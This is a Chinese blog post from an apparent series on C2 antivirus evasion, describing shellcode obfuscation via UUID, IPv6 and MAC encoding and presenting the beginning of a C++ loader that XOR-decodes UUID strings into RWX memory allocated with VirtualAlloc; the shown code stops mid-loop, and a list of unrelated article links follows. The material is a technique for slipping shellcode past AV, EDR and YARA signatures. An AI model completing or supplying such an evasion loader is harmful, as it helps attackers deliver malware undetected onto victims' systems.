当前位置: 首页 > news >正文

【免杀】C2免杀技术(十五)shellcode混淆uuid/ipv6/mac

针对 shellcode 混淆(Shellcode Obfuscation) 的实战手段还有很多,如下表所示:

类型举例目的
编码 / 加密XOR、AES、RC4、Base64、Poly1305、UUID、IP/MAC改变字节特征,避开静态签名或 YARA
结构伪装PE Stub、GIF/PNG 嵌入、RTF OLE、UUID、IP/MAC看起来像合法文件/数据,弱化“可执行”标签
控制流混淆偏移、乱序、分段、跳转链、指令变异破坏解码器/反汇编器的直线流

加密手段之前文章写过,详见:【免杀】C2免杀技术(三)shellcode加密 ,本文介绍一些其它方式。 

UUID Obfuscation

“UUID Obfuscation” 是一种非常实用的 shellcode 混淆与免杀手段,利用 UUID(通用唯一识别码)的标准格式来编码恶意 shellcode,使其看起来像正常的标识符,从而绕过静态特征检测。

UUID(Universally Unique Identifier)是通用唯一标识符的缩写,标准格式如下: 

xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
//例如:b36fa7a3-e8cf-4d99-9db0-9a9b9e3768e1

思路

1、伪装 shellcode:
把原始或加密的 shellcode 按照 16 字节一组切割,每组转换为一个 UUID 字符串(或多个 UUID 组合),看起来像合法数据,避免被 AV/EDR 静态特征识别。

2、还原 shellcode:
在运行时,用如 UuidFromStringA() 等 API 将 UUID 字符串反解为 16 字节的原始数据,重新组合形成完整 shellcode,然后执行。

加载器

#include <Windows.h>
#include <Rpc.h>
#pragma comment(lib, "Rpcrt4.lib")constexpr BYTE   XOR_KEY[] = { 'k','u','n' };
constexpr SIZE_T KEY_LEN = sizeof(XOR_KEY);static const wchar_t UUID_BLOB[] = LR"(
//自己的payload
)"; int wmain()
{// 1) 统计块数, 计算加密大小SIZE_T uuidCount = 0;for (const wchar_t* p = UUID_BLOB; *p; ++p)if (*p == L'\n') ++uuidCount;if (UUID_BLOB[0]) ++uuidCount;const SIZE_T encSize = uuidCount * 16;// 2) 申请 RWX 内存BYTE* execMem = static_cast<BYTE*>(VirtualAlloc(nullptr, encSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));if (!execMem) return -10;// 3) 分割 blob, 调用 UuidFromStringW 写入wchar_t* blobCopy = _wcsdup(UUID_BLOB);           // 可写副本if (!blobCopy) return -11;SIZE_T offset = 0;wchar_t* ctx = nullptr;for (wchar_t* tok = wcstok(blobCopy, L"\n\r\t ", &ctx);tok && *tok;tok = wcstok(nullptr, L"\n\r\t ", &ctx)){UUID* dest = reinterpret_cast<UUID*>(execMem + offset);
http://www.xdnf.cn/news/866647.html

相关文章:

  • Mac 双系统
  • 深入详解开源工具DCMTK:C++开发的DICOM工具包
  • <el-table>构建树形结构
  • KrillinAI:视频跨语言传播的一站式AI解决方案
  • EasyRTC嵌入式音视频通信SDK音视频功能驱动视频业务多场景应用
  • HOPE800系列变频器安装到快速调试的详细操作说明
  • Delft3D软件介绍及建模原理和步骤;Delft3D数值模拟溶质运移模型建立;地表水环境影响评价报告编写思路
  • CppCon 2015 学习:3D Face Tracking and Reconstruction using Modern C++
  • 前端大数高精度计算解决方案,BigNumber.js
  • 前端面试二之运算符与表达式
  • 组件库二次封装——透传问题
  • UniApp 全生命周期钩子详解
  • 数据标注与大模型的双向赋能:效率与性能的跃升
  • CMake + Ninja 构建程序示例
  • CortexON:开源的多代理AI系统无缝自动化和简化日常任务
  • 【推荐算法】推荐系统核心算法深度解析:协同过滤 Collaborative Filtering
  • 07 APP 自动化- appium+pytest+allure框架封装
  • RabbitMQ 的异步化、解耦和流量削峰三大核心机制
  • ④Pybullet之Informed RRT*算法介绍及示例
  • 在本地查看服务器上的TensorBoard
  • Git安装与常用命令全攻略
  • Elasticsearch的搜索流程描述
  • 分类与逻辑回归 - 一个完整的guide
  • Git常用命令完全指南:从入门到精通
  • 正则表达式检测文件类型是否为视频或图片
  • 海信IP810N-海思MV320芯片-安卓9-2+16G-免拆优盘卡刷固件包
  • 【Android】RV折叠适配器
  • 基于大模型的结节性甲状腺肿智能诊疗系统技术方案
  • NLP学习路线图(二十三):长短期记忆网络(LSTM)
  • constexpr 是 C++11 引入的关键字